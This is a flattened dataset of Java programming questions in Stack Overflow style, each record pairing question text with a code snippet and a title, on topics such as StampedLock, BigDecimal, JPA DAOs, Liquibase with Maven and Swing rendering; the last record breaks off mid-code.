10937-10937/com.google.android.exoplayer2.demo D/EventLogger : Group:0 , adaptive_supported=N/A [ 2020-08-17 01:36:23.789 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : [ X ] Track:0 , id=1 , mimeType=video/hevc , res=1920x1080 , supported=YES2020-08-17 01:36:23.789 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : ] 2020-08-17 01:36:23.789 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : ] 2020-08-17 01:36:23.789 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : ] 2020-08-17 01:36:23.794 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : mediaPeriodReadingStarted [ eventTime=0.23 , mediaPos=0.00 , window=0 , period=0 ] 2020-08-17 01:36:23.795 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : downstreamFormat [ eventTime=0.24 , mediaPos=0.00 , window=0 , period=0 , id=1 , mimeType=video/hevc , res=1920x1080 ] 2020-08-17 01:36:23.798 10937-10937/com.google.android.exoplayer2.demo W/InputMethodManager : startInputReason = 12020-08-17 01:36:23.820 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : decoderInitialized [ eventTime=0.26 , mediaPos=0.00 , window=0 , period=0 , video , OMX.google.hevc.decoder ] 2020-08-17 01:36:23.821 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : decoderInputFormat [ eventTime=0.26 , mediaPos=0.00 , window=0 , period=0 , video , id=1 , mimeType=video/hevc , res=1920x1080 ] 2020-08-17 01:36:23.828 10937-10978/com.google.android.exoplayer2.demo W/libEGL : EGLNativeWindowType 0x7d37723010 disconnect failed2020-08-17 01:36:23.828 10937-10978/com.google.android.exoplayer2.demo D/OpenGLRenderer : endAllActiveAnimators on 0x7d55764800 ( ExpandableListView ) with handle 0x7d5575c9a02020-08-17 01:36:24.185 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : loading [ eventTime=0.63 , mediaPos=0.00 , window=0 , period=0 , false ] 2020-08-17 01:36:24.258 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : state [ eventTime=0.70 , mediaPos=0.00 , window=0 , period=0 , true , READY ] 2020-08-17 01:36:24.262 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : isPlaying [ eventTime=0.70 , mediaPos=0.00 , window=0 , period=0 , true ]",Unable to play MKV Matroska video with exoPlayer 2.11 +Java,"I have an server that does automatic builds of a play framework 2.3.4 project and can successfully build my development branch . However when I build different branch , using the same script on the same server , I 'm getting some strange behaviour.The build for some reason fetches dependencies called [ actual dependency ] -parent , which does n't happen on the other branch nor when I build the problematic branch on my local machine . For example : On my local : On CI build : The dependency org.sonatype.oss # oss-parent ; 7 is completely new , in a working build there is no org.sonatype.oss dependency.This is then followed by tests failing after not being able to start the fake application , which I assume is because of the bad dependencies.Does anyone know what can cause this ? Here is what the resolvers in my build.sbt look like : This morning , February 6th 2015 , the two branches were merged so there are no differences . However one branch still builds but the other fails ( on the same elastic instance ) . Each build has its own instance of activator and do not share repository folders , but the two repository folders are the same .","[ info ] Resolving org.elasticsearch # elasticsearch ; 1.4.0 ... [ info ] Resolving org.apache.lucene # lucene-core ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-analyzers-common ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-queries ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-memory ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-highlighter ; 4.10.2 ... ... [ info ] Resolving org.elasticsearch # elasticsearch ; 1.4.0 ... [ info ] Resolving org.sonatype.oss # oss-parent ; 7 ... [ info ] Resolving org.apache.lucene # lucene-core ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-parent ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-solr-grandparent ; 4.10.2 ... [ info ] Resolving org.apache # apache ; 13 ... [ info ] Resolving org.apache.lucene # lucene-analyzers-common ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-parent ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-queries ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-parent ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-memory ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-parent ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-highlighter ; 4.10.2 ... [ info ] Resolving org.apache.lucene # lucene-parent ; 4.10.2 ... ... resolvers : = Seq ( `` Sonatype repo '' at `` https : //oss.sonatype.org/content/repositories/releases/ '' , `` Sonatype snapshots '' at `` https : //oss.sonatype.org/content/repositories/snapshots/ '' , `` Maven central repo '' at `` https : //oss.sonatype.org/content/repositories/central/ '' , `` Maven central repo2 '' at `` https : //repo1.maven.org/maven2/ '' , `` Typesafe Repository '' at `` https : //repo.typesafe.com/typesafe/releases/ '' , Resolver.url ( `` Objectify Play Repository '' , url ( `` http : //schaloner.github.io/releases/ '' ) ) ( Resolver.ivyStylePatterns ) , Resolver.url ( `` Objectify Play Snapshot Repository '' , url ( `` http : //schaloner.github.io/snapshots/ '' ) ) ( Resolver.ivyStylePatterns ) , Resolver.url ( `` Edulify Repository '' , url ( `` http : //edulify.github.io/modules/releases/ '' ) ) ( Resolver.ivyStylePatterns ) , Resolver.file ( `` Local Repository '' , file ( sys.env.get ( `` PLAY_HOME '' ) .map ( _ + `` /repository/local '' ) .getOrElse ( `` '' ) ) ) ( Resolver.ivyStylePatterns ) , Resolver.mavenLocal )",Why is my play framework build sometimes fetching oss-parent dependency ? +Java,I have used this new keyword with RealEstate ( ) . I know new allocates memory and initializes the memory using the RealEstate class constructor.What is the JVM doing here ?,RealEstate v = new RealEstate ( ) ;,What does the JVM do when 'new ' operator initializes the memory using the constructor ? +Java,"Our application is using the java.util.prefs.Preferences class to store a few user data fields . Here is the code snippet of our preferences class below . Storage of our preferences works fine , however we noticed that the preferences continues to make disk accesses about every 30 seconds or so . Is there a way to disable these background disk accesses in the Preferences class ? ( .userRootModeFile.root is changed about every 30 seconds ) }","public class NtapPreferences { private static Preferences prefs = Preferences.userRoot ( ) ; //.systemRoot ( ) ; /** Prepends `` NTAP. & lt ; applicationName & gt ; . '' to 'key ' for system-wide uniqueness . */private static String getKeyForApp ( String key ) { return `` NTAP . '' + Application.getApplicationName ( ) + `` . '' + key ; } /** * Returns the application preference value for 'key'. < br/ > * < br/ > * If 'key ' is not a defined preference , then 'def ' is returned . */public static String get ( String key , String def ) { return prefs.get ( getKeyForApp ( key ) , def ) ; } /** Sets the application preference value for 'key ' as 'value ' . */public static void put ( String key , String value ) { //TODO how do we want to resolve failures to put data in the preferences ? try { prefs.put ( getKeyForApp ( key ) , value ) ; prefs.flush ( ) ; } catch ( NullPointerException e ) { LOG.error ( NtapPreferences.class , e ) ; } catch ( IllegalArgumentException e ) { LOG.error ( NtapPreferences.class , e ) ; } catch ( IllegalStateException e ) { LOG.error ( NtapPreferences.class , e ) ; } catch ( BackingStoreException e ) { LOG.error ( NtapPreferences.class , e ) ; } } /** Removes the application preference value for 'key ' if one is defined . */public static void remove ( String key ) { prefs.remove ( getKeyForApp ( key ) ) ; }",Java util Preferences constantly accesses disk about every 30 secs +Java,"As the title states , why does n't the OpenJDK JVM emit prefetch instruction on Windows x86 ? See OpenJDK Mercurial @ http : //hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/c49dcaf78a65/src/os_cpu/windows_x86/vm/prefetch_windows_x86.inline.hpp There are no comments and I 've found no other resources besides the source code . I am asking because it does so for Linux x86 , see http : //hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/c49dcaf78a65/src/os_cpu/linux_x86/vm/prefetch_linux_x86.inline.hpp","inline void Prefetch : :read ( void *loc , intx interval ) { } inline void Prefetch : :write ( void *loc , intx interval ) { } inline void Prefetch : :read ( void *loc , intx interval ) { # ifdef AMD64 __asm__ ( `` prefetcht0 ( % 0 , % 1,1 ) '' : : `` r '' ( loc ) , `` r '' ( interval ) ) ; # endif // AMD64 } inline void Prefetch : :write ( void *loc , intx interval ) { # ifdef AMD64 // Do not use the 3dnow prefetchw instruction . It is n't supported on em64t . // __asm__ ( `` prefetchw ( % 0 , % 1,1 ) '' : : `` r '' ( loc ) , `` r '' ( interval ) ) ; __asm__ ( `` prefetcht0 ( % 0 , % 1,1 ) '' : : `` r '' ( loc ) , `` r '' ( interval ) ) ; # endif // AMD64 }",Why does n't the JVM emit prefetch instructions on Windows x86 +Java,"What is the simplest way to reduce a Java BigDecimal containing an arbitrary value to a canonical form so that two BigDecimal 's representing the same number will compare equal using the equals ( ) method ? I am parsing my numbers from arbitrary strings using code like this : Since ( string1 , string2 ) are arbitrary , they could be , e.g. , ( `` 1 '' , `` 1.0000 '' ) or ( `` -32.5 '' , `` 1981 '' ) ... What I 'm looking for is the simplest ( shortest/cleanest code ) implementation of the method canonicalize for which the above assertionwill succeed ... :","BigDecimal x = new BigDecimal ( string1 , MathContext.DECIMAL64 ) ; BigDecimal y = new BigDecimal ( string2 , MathContext.DECIMAL64 ) ; assert x.compareTo ( y ) ! = 0 || ( canonicalize ( x ) .equals ( canonicalize ( y ) ) & & x.compareTo ( canonicalize ( x ) ) == 0 & & y.compareTo ( canonicalize ( y ) ) == 0 ) ; public static BigDecimal canonicalize ( BigDecimal b ) { // TODO : }",Canonical representation of a BigDecimal +Java,"Is there a way to capture console output from a process with color formatting data ? Currently I am capturing just the text output with : But I ca n't find a way to capture color data for this text . The colored text does not seem to start with any special character or anything.I am printing this captured text to UI for the user to see log of this process but it is hard to read so I would like to copy the colors from the console.Here is an example of how it can be done in Go , but can this be done in Java ? This application is going to be run on Windows but it would be great if it could also work on Linux or MacOS by reading the same color data from Shell or Bash .","ProcessBuilder pb = new ProcessBuilder ( `` cmd.exe '' , `` /C '' , `` mvn dependency : resolve '' ) ; // mvn dependency : resolve is an example of a process that outputs colorProcess p = builder.start ( ) ; BufferedReader br = new BufferedReader ( new InputStreamReader ( p.getInputStream ( ) ) ) ; String line = null ; while ( ( line = reader.readLine ( ) ) ! = null ) { System.out.println ( line ) ; }",Java capture process output with color +Java,I 'm facing a strange behaviour about StampedLock . Here are the main problematic lines of code : The strange behaviour is about how unlock `` tolerates '' wrong read stamp . Does it seem correct to you ? For reference here is the full code : Output :,"StampedLock lock = new StampedLock ( ) ; long stamp1 = lock.readLock ( ) ; System.out.printf ( `` Read lock count : % d % n '' , lock.getReadLockCount ( ) ) ; lock.unlock ( stamp1 + 2 ) ; System.out.printf ( `` Read lock count : % d % n '' , lock.getReadLockCount ( ) ) ; public class StampedLockExample { static StampedLock lock = new StampedLock ( ) ; static void println ( String message , Object ... args ) { System.out.printf ( message , args ) ; System.out.println ( ) ; } static void printReadLockCount ( ) { println ( `` Lock count= % d '' , lock.getReadLockCount ( ) ) ; } static long tryReadLock ( ) { long stamp = lock.tryReadLock ( ) ; println ( `` Gets read lock ( % d ) '' , stamp ) ; printReadLockCount ( ) ; return stamp ; } static long tryWriteLock ( ) { long stamp = lock.tryWriteLock ( ) ; println ( `` Gets write lock ( % d ) '' , stamp ) ; return stamp ; } static long tryConvertToReadLock ( long stamp ) { long newOne = lock.tryConvertToReadLock ( stamp ) ; println ( `` Gets read lock ( % d - > % d ) '' , stamp , newOne ) ; printReadLockCount ( ) ; return newOne ; } static void tryUnlock ( long stamp ) { try { lock.unlock ( stamp ) ; println ( `` Unlock ( % d ) successfully '' , stamp ) ; } catch ( IllegalMonitorStateException e ) { println ( `` Unlock ( % d ) failed '' , stamp ) ; } printReadLockCount ( ) ; } public static void main ( String [ ] args ) { println ( `` % n -- - Gets two read locks -- - '' ) ; long stamp1 = tryReadLock ( ) ; long stamp2 = tryReadLock ( ) ; long min = Math.min ( stamp1 , stamp2 ) ; long max = Math.max ( stamp1 , stamp2 ) ; println ( `` % n -- - Tries unlock ( -1 / +2 / +4 ) -- - '' ) ; tryUnlock ( min - 1 ) ; tryUnlock ( max + 2 ) ; tryUnlock ( max + 4 ) ; println ( `` % n -- - Gets write lock -- - '' ) ; long stamp3 = tryWriteLock ( ) ; println ( `` % n -- - Tries unlock ( -1 / +1 ) -- - '' ) ; tryUnlock ( stamp3 - 1 ) ; tryUnlock ( stamp3 + 1 ) ; println ( `` % n -- - Tries write > read conversion -- - '' ) ; long stamp4 = tryConvertToReadLock ( stamp3 ) ; println ( `` % n -- - Tries unlock last write stamp ( -1 / 0 / +1 ) -- - '' ) ; tryUnlock ( stamp3 - 1 ) ; tryUnlock ( stamp3 ) ; tryUnlock ( stamp3 + 1 ) ; println ( `` % n -- - Tries unlock ( -1 / +1 ) -- - '' ) ; tryUnlock ( stamp4 - 1 ) ; tryUnlock ( stamp4 + 1 ) ; } } -- - Gets two read locks -- -Gets read lock ( 257 ) Lock count=1Gets read lock ( 258 ) Lock count=2 -- - Tries unlock ( -1 / +2 / +4 ) -- -Unlock ( 256 ) failedLock count=2Unlock ( 260 ) successfullyLock count=1Unlock ( 262 ) successfullyLock count=0 -- - Gets write lock -- -Gets write lock ( 384 ) -- - Tries unlock ( -1 / +1 ) -- -Unlock ( 383 ) failedLock count=0Unlock ( 385 ) failedLock count=0 -- - Tries write > read conversion -- -Gets read lock ( 384 - > 513 ) Lock count=1 -- - Tries unlock last write stamp ( -1 / 0 / +1 ) -- -Unlock ( 383 ) failedLock count=1Unlock ( 384 ) failedLock count=1Unlock ( 385 ) failedLock count=1 -- - Tries unlock ( -1 / +1 ) -- -Unlock ( 512 ) failedLock count=1Unlock ( 514 ) successfullyLock count=0",Erratic StampedLock.unlock ( long ) behaviour ? +Java,I was playing with ternary operator and noticed something odd . I have code below : Which results inobjectjava.lang.StringFirst line of result shows that this instruction passed to foo method with object parameter.Second line that the instruction itself results in String.Question : Why if result is String compiler decides to go with Object ? Is this because of the type ambiguity ? If yes then why getting class name returned java.lang.String ?,class Main { static void foo ( int a ) { System.out.println ( `` int '' ) ; } static void foo ( String a ) { System.out.println ( `` String '' ) ; } static void foo ( Object a ) { System.out.println ( `` object '' ) ; } public static void main ( String [ ] args ) { foo ( 2==3 ? 0xF00 : '' bar '' ) ; System.out.println ( ( 2==3 ? 0xF00 : '' bar '' ) .getClass ( ) .getName ( ) ) ; } },Ternary operator with different types of expressions +Java,"I wrote following EJB : On deploy this logs like : Which is not valid . Output from this same loop running on J2SE runtime looks like : Is this an application server issue ? I 'm using JBoss EAP 6.1.0 GA ( which is built on AS 7 ) . How to get valid list of NetworkInterfaces running up without opening connection on each ? Besides that , I want to known which one supports multicast , but this is always true too.RepoI have been created repo at github with Idea 's project , compiled ear and logs for both jboss and pure jdk 's running . It 's contains also used configuration file and list of dynamically loaded libraries .",@ Singleton @ LocalBean @ Startuppublic class Starter { private static final Logger logger = Logger.getLogger ( `` lab '' ) ; @ PostConstruct public void init ( ) throws Exception { for ( final Enumeration < NetworkInterface > en = NetworkInterface.getNetworkInterfaces ( ) ; en.hasMoreElements ( ) ; ) { final NetworkInterface iface = en.nextElement ( ) ; if ( iface.isUp ( ) ) { logger.info ( iface ) ; } } } } name : lo ( Software Loopback Interface 1 ) name : net0 ( WAN Miniport ( SSTP ) ) name : net1 ( WAN Miniport ( L2TP ) ) name : net2 ( WAN Miniport ( PPTP ) ) name : ppp0 ( WAN Miniport ( PPPOE ) ) name : eth0 ( WAN Miniport ( IPv6 ) ) name : eth1 ( WAN Miniport ( Network Monitor ) ) name : eth2 ( WAN Miniport ( IP ) ) name : net5 ( Intel ( R ) Wireless WiFi Link 4965AGN ) name : eth7 ( Intel ( R ) Wireless WiFi Link 4965AGN - VirtualBox Bridged Networking Driver Miniport ) name : eth8 ( VirtualBox Host-Only Ethernet Adapter ) name : net20 ( Intel ( R ) Wireless WiFi Link 4965AGN-Netmon Lightweight Filter Driver-0000 ) name : eth10 ( VirtualBox Host-Only Ethernet Adapter-Netmon Lightweight Filter Driver-0000 ) name : eth11 ( VirtualBox Host-Only Ethernet Adapter-QoS Packet Scheduler-0000 ) name : eth12 ( VirtualBox Host-Only Ethernet Adapter-WFP LightWeight Filter-0000 ) name : eth13 ( WAN Miniport ( IPv6 ) -QoS Packet Scheduler-0000 ) name : eth14 ( WAN Miniport ( IP ) -QoS Packet Scheduler-0000 ) name : eth15 ( WAN Miniport ( Network Monitor ) -Netmon Lightweight Filter Driver-0000 ) name : eth16 ( WAN Miniport ( Network Monitor ) -QoS Packet Scheduler-0000 ) name : net21 ( Intel ( R ) Wireless WiFi Link 4965AGN-Native WiFi Filter Driver-0000 ) name : eth20 ( Intel ( R ) Wireless WiFi Link 4965AGN - VirtualBox Bridged Networking Driver Miniport-Netmon Lightweight Filter Driver-0000 ) name : eth21 ( Intel ( R ) Wireless WiFi Link 4965AGN - VirtualBox Bridged Networking Driver Miniport-QoS Packet Scheduler-0000 ) name : eth22 ( Intel ( R ) Wireless WiFi Link 4965AGN - VirtualBox Bridged Networking Driver Miniport-WFP LightWeight Filter-0000 ) name : lo ( Software Loopback Interface 1 ) name : net5 ( Intel ( R ) Wireless WiFi Link 4965AGN ) name : eth8 ( VirtualBox Host-Only Ethernet Adapter ),Every NetworkInterface enumerated inside JBoss always isUp +Java,"As discussed here , javac and other Java compilers may provide code elimination capabilities for if-statements where the condition is a `` Constant Expression '' .How is this affected if my code uses a constant expression that depends on other constant expressions defined in different packages ? For example , let 's say I have the following classes in the respective specified packages : andClearly , if the foo-package is loaded at run-time from an external jar-file , the compiler ca n't technically just assume that Foo.CONDITION will be false and should not eliminate the true-branch of the if-statement.Whereas , if Foo and Bar were actually in the same package , the true-branch should definitely be eliminated ( if the compiler supports code elimination at all ) .Not quite sure how to best phrase this question , but : How `` close '' does Foo need to be to Bar for a constant expression in Foo to also be considered constant in Bar ? Would they need to be in the same file ? the same package ? the same jar-file ? or does it not matter at all ( i.e . would the compiler always consider Foo.CONDITION as constant and use the value found in the build-path during compile time ) ?",package foo ; public class Foo { public static final boolean CONDITION = false ; } package bar ; import foo.Foo ; public class Bar { public void test ( ) { if ( Foo.CONDITION ) { System.out.println ( `` This line of code could be eliminated . `` ) ; } else { System.out.println ( `` This line of code will be executed . `` ) ; } } },Java constant expressions and code elimination +Java,"I know that this question has been asked countless times , but since most of the questions on this subject are 6-7 years old , I was hoping to see if there are any changes in the original arguments for/against this topic as newer versions of JPA came out . I know that this can be seen as primarily opinion based , but I am looking for a list of pros/cons.Some people have argued that the entitymanager is a DAO in and of itself , and that a DAO layer in your application would be redundant . Most people would agree that the EntityManager covers basic CRUD operations very tightly ... but there is a point that we should not be using entitymanager.createQuery ( ... ) inside the service layer.But now with the @ NamedQueries annotation , we can simply add named queries to the model class and maintain a set of custom criteria queries for each entity model . For example , if we had a User class we can have something likeBy storing the custom criteria queries inside of the model classes , we can avoid re-writing the same queries over and over again in the service layer - which makes the DAO layer seem even more unnecessary now . The reasons that I have found to include the DAO layer are now : You can change the persistence mechanism in the future more easily by having a central point that maintains data access ( i.e generic DAO ) Easier time unit testingI was wondering if anyone could contribute to this list as I am not sure if I should be using a DAO layer in my application","@ Entity @ NamedQueries ( { @ NamedQuery ( name= '' User.findByUsername '' , query= '' SELECT u FROM User u WHERE u.username_lowercase = LOWER ( : username ) '' ) } ) public class User { @ Columnprivate String username ; }",Are DAOs still needed in Spring MVC with JPA/Hibernate +Java,"So I 'm creating a side scroller and I 'm trying to draw an image at the point of another image.I have my background image which is 5000 x 500 and lets say I want to draw an image that 's 25x25 at 500 , 50 of the background image . How would I do that ? So far I 've tried : But this just draws it at 500 , 50 of the frame so it `` moves '' across the image as I scroll to the right . I want , after scroll once to the right , the coin image to draw at 500,50 of the image still so 495 , 50 of the frame.I could also use getGraphics of the background image and draw the smaller image onto it , but I think because I set the point it 's being draw at during the creation of the object , I ca n't do that.The character does n't move , besides up and down , just the background scrolls so I want the coin to move as the background does.PICTURES : ( ca n't embed it because i do n't have 10 rep points ) http : //dl.dropbox.com/u/47632315/char.png http : //dl.dropbox.com/u/47632315/coin.png http : //dl.dropbox.com/u/47632315/sideScrollerBG.pngAnd the SSCCE :","Coins c = new Coins ( img.getWidth ( this ) - 4500 , img.getHeight ( this ) - 250 ) ; import java.awt . * ; import java.awt.event . * ; import javax.swing . * ; import java.net . * ; import java.awt.image.ImageObserver ; import java.io.IOException ; import javax.imageio.ImageIO ; public class SideScroller extends JPanel implements KeyListener { public static void main ( String args [ ] ) throws Exception { SideScroller f = new SideScroller ( `` Side Scroller '' ) ; } JFrame f = new JFrame ( ) ; int x = 0 ; int y = 0 ; int k = 10 ; int j = 50 ; int characterY = 351 ; boolean canJump = true ; boolean keyPressed [ ] = new boolean [ 3 ] ; Image img ; Image character ; Coins c = new Coins ( x + 500 , y + 350 ) ; public SideScroller ( String s ) throws MalformedURLException , IOException { img = ImageIO.read ( new URL ( `` http : //dl.dropbox.com/u/47632315/sideScrollerBG.png '' ) ) ; character = ImageIO.read ( new URL ( `` http : //dl.dropbox.com/u/47632315/char.png '' ) ) ; f.setTitle ( s ) ; // do n't use 'magic numbers ' when descriptive constants are defined ! //f.setDefaultCloseOperation ( 3 ) ; f.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; f.setResizable ( false ) ; // Better to ask when loaded . //setPreferredSize ( new Dimension ( 1000 , 500 ) ) ; setPreferredSize ( new Dimension ( 1000 , img.getHeight ( this ) ) ) ; f.add ( this ) ; f.pack ( ) ; // usually harmful , rarely necessary.// f.setLayout ( null ) ; // Looks like a splash screen //f.setLocationRelativeTo ( null ) ; // located by platform default , best . f.setLocationByPlatform ( true ) ; f.addKeyListener ( this ) ; getKeys ( ) ; // should be done last f.setVisible ( true ) ; } public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; g.drawImage ( img , x , y , this ) ; g.drawImage ( character , 50 , characterY , this ) ; c.paint ( g , this ) ; } @ Override public void keyTyped ( KeyEvent e ) { } @ Override public void keyPressed ( KeyEvent e ) { int keyCode = e.getKeyCode ( ) ; if ( keyCode == KeyEvent.VK_ESCAPE ) { System.exit ( 0 ) ; } if ( keyCode == KeyEvent.VK_RIGHT ) { keyPressed [ 0 ] = true ; } if ( keyCode == KeyEvent.VK_LEFT ) { keyPressed [ 1 ] = true ; } if ( canJump ) { if ( keyCode == KeyEvent.VK_SPACE ) { // better to use a javax.swing.Timer here new Thread ( new Runnable ( ) { public void run ( ) { canJump = false ; for ( double i = 0 ; i < = 5.1 ; i += .2 ) { characterY = ( int ) ( k * i * i - j * i + 351 ) ; f.repaint ( ) ; System.out.println ( characterY ) ; System.out.println ( canJump ) ; try { Thread.sleep ( 25 ) ; } catch ( InterruptedException e ) { System.err.println ( e ) ; } } repaint ( ) ; canJump = true ; } } ) .start ( ) ; } } } @ Override public void keyReleased ( KeyEvent e ) { int keyCode = e.getKeyCode ( ) ; if ( keyCode == KeyEvent.VK_RIGHT ) { keyPressed [ 0 ] = false ; } if ( keyCode == KeyEvent.VK_LEFT ) { keyPressed [ 1 ] = false ; } } public void getKeys ( ) { new Thread ( new Runnable ( ) { public void run ( ) { while ( true ) { if ( keyPressed [ 0 ] ) { x -= 5 ; repaint ( ) ; } if ( keyPressed [ 1 ] ) { if ( x ! = 0 ) { x += 5 ; repaint ( ) ; } } try { Thread.sleep ( 25 ) ; } catch ( InterruptedException e ) { System.err.println ( e ) ; } } } } ) .start ( ) ; } } class Coins extends pickUpObject { Image coin ; public Coins ( int x , int y ) throws MalformedURLException , IOException { super ( x , y ) ; super.x = x ; super.y = y ; coin = ImageIO.read ( new URL ( `` http : //dl.dropbox.com/u/47632315/coin.png '' ) ) ; } public void paint ( Graphics g , ImageObserver o ) { g.drawImage ( coin , x , y , o ) ; } } abstract class pickUpObject { int x , y ; public pickUpObject ( int x , int y ) { } public abstract void paint ( Graphics g , ImageObserver o ) ; }",Drawing an image at a point of another image +Java,"It was a little bit hard to come up with a meaningful title , hope it will become clear enough after the explanation . I have searched through a number of Qs and As on SO , and they were all very close to the problem I am experiencing , but still not close enough.In general , what I want to accomplish is to store project version in DB by accessing the maven property @ project.version @ from a .csv file which is loaded by a Liquibase script.My maven project structure looks like this : Pom.xml are defined as : Liquibase scripts are defined in moduleC/src/main/resources/db/changelog/changelog-master.xml etc. , while the .csv files with initial values are located in moduleC/src/main/resources/db/users.csv etc . In one of those csv files , I want to push @ project.version @ value , like this : Since that file is located in moduleC , I used maven resource filtering even inparentModule < build/ > to filter that file so it can resolve @ project.version @ property , but with no luck : There are errors , one that says that master changelog can not be found , while in other cases just string value @ project.version @ is stored . Seems to me I should include app_version.csv and its location ( moduleC ) as resource inside < build > tag withing parentModule pom.xml , but every combination of referencing it fails . Is there a solution to reference it properly ( either from parentModule or moduleC pom.xml ) or there might be an easier way to store @ project.version @ with liquibase ?",parentModulepom.xml| -- -moduleA |__pom.xml -- -moduleB |__pom.xml -- -moduleC |__pom.xml ... **PARENT POM** < project ... > < groupId > com.parent < /groupId > < artifactId > parent < /artifactId > < version > 1.0 < /version > < packaging > pom < /packaging > < name > parent < /name > < parent > < artifactId > spring-boot-starter-parent < /artifactId > < groupId > org.springframework.boot < /groupId > < version > 2.2.1.RELEASE < /version > < relativePath / > < /parent > < properties > < java.version > 8 < /java.version > < /properties > < modules > < module > moduleA < /module > < module > moduleB < /module > < module > moduleC < /module > ... < /modules > < build > < defaultGoal > package < /defaultGoal > < plugins > < plugin > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-maven-plugin < /artifactId > < configuration > < skip > true < /skip > < /configuration > < /plugin > < /plugins > < /build > < /project > -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- **CHILD POM** < project ... > < artifactId > moduleC < /artifactId > < name > moduleC < /name > < parent > < groupId > com.parent < /groupId > < artifactId > parent < /artifactId > < version > 1.0 < /version > < /parent > < dependencies > < dependency > ... < /dependency > < /dependencies > < build > < resources > < resource > < directory > moduleC/src/main/resources/db/changelog/ < /directory > < filtering > true < /filtering > < includes > < include > **/app_version.csv/ < /include > < /includes > < /resource > < /resources > < /build > < /project > id ; app_key ; app_value ; created_by ; last_modified_by1 ; app-version ; @ project.version @ ; system ; system < build > < resources > < resource > < directory > moduleC/src/main/resources/db/changelog/ < /directory > < filtering > true < /filtering > < includes > < include > **/app_version.csv/ < /include > < /includes > < /resource > < /resources > < defaultGoal > package < /defaultGoal > < plugins > < plugin > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-maven-plugin < /artifactId > < configuration > < skip > true < /skip > < /configuration > < /plugin > < /plugins > < /build >,Using @ project.version @ with Liquibase in a multimodule Maven project +Java,"the Guava toStringFunction ( ) has the following declaration : All non-primitive roots at Object , so the function works well . but when I try to compose it with another function , such as : where someMap variable is a map < String , Double > , So i expect toStringFunction converts Integer to String and then forMap converts String to Double . But I get a compiler error : My two questions are : 1.how to specifically tell the compiler that toStringFunction should be Function < Integer , String > ? A simple cast will not work , and I am looking for a real composition of the two functions.2.Had the toStringFunction written as the following : I can specify the type : and this works fine . But what is the motivation for the version Guava team have right now ?","public static Function < Object , String > toStringFunction ( ) { ... } Function < Integer , Double > f1 = Functions.compose ( Functions.forMap ( someMap ) , Functions.toStringFunction ( ) ) ; Function < Integer , Double > f1 = Functions.compose ( Functions.forMap ( someMap ) , ^ required : Function < Integer , Double > found : Function < Object , Double > 2 errors Function < Integer , String > g1 = ( Function < Integer , String > ) Functions.toStringFunction ( ) ; // cause error @ SuppressWarnings ( `` unchecked '' ) public static < E > Function < E , String > toStringFunction ( ) { return ( Function < E , String > ) ToStringFunction.INSTANCE ; } // enum singleton pattern private enum ToStringFunction implements Function < Object , String > { INSTANCE ; // @ Override public String toString ( ) { // return `` Functions.toStringFunction ( ) '' ; // } @ Override public String apply ( Object o ) { return o.toString ( ) ; } } Function < Integer , Double > f1 = Functions.compose ( Functions.forMap ( someMap ) , Functions. < Integer > toStringFunction ( ) ) ;",Guava why toStringFunction not a generic function ? +Java,"So according to the Java API , Set : :contains returns true if and only if this set contains an element e such that ( o==null ? e==null : o.equals ( e ) ) So ... why is it this method returns false even IF the set contains exactly one element that is equal to creds ? More specifically , I inserted some printlns and this is what it had to say : getAcceptedUsers currently returns a dummy setand Credentials is implemented as","private boolean validate ( Credentials creds ) { Set < Credentials > acceptedUsers = getAcceptedUsers ( ) ; return acceptedUsers.contains ( creds ) ; } private boolean validate ( Credentials creds ) { Set < Credentials > acceptedUsers = getAcceptedUsers ( ) ; System.out.print ( `` accepted users : `` ) ; System.out.println ( acceptedUsers ) ; System.out.print ( `` accessing user : `` ) ; System.out.println ( creds ) ; System.out.println ( `` items are equal : `` + acceptedUsers.stream ( ) .map ( c - > c.equals ( creds ) ) .collect ( Collectors.toSet ( ) ) ) ; System.out.println ( `` access ok : `` + ( acceptedUsers.contains ( creds ) ? `` YES '' : `` NO '' ) ) ; return acceptedUsers.contains ( creds ) ; } accepted users : [ [ foo FCDE2B2EDBA56BF408601FB721FE9B5C338D10EE429EA04FAE5511B68FBF8FB9 ] ] accessing user : [ foo FCDE2B2EDBA56BF408601FB721FE9B5C338D10EE429EA04FAE5511B68FBF8FB9 ] items are equal : [ true ] access ok : NO private Set < Credentials > getAcceptedUsers ( ) { return new HashSet < Credentials > ( ) { { add ( new Credentials ( `` foo '' , '' bar '' , false ) ) ; } } ; } class Credentials { final String username ; final String password ; public Credentials ( String username , String password , boolean isPasswordHashed ) { this.username = username ; if ( isPasswordHashed ) this.password = password ; else { MessageDigest md ; try { md = MessageDigest.getInstance ( `` SHA-256 '' ) ; } catch ( NoSuchAlgorithmException e ) { throw new IllegalStateException ( e ) ; } md.update ( password.getBytes ( ) ) ; byte [ ] hash = md.digest ( ) ; this.password = ( new HexBinaryAdapter ( ) ) .marshal ( hash ) ; } } @ Override public boolean equals ( Object obj ) { if ( obj 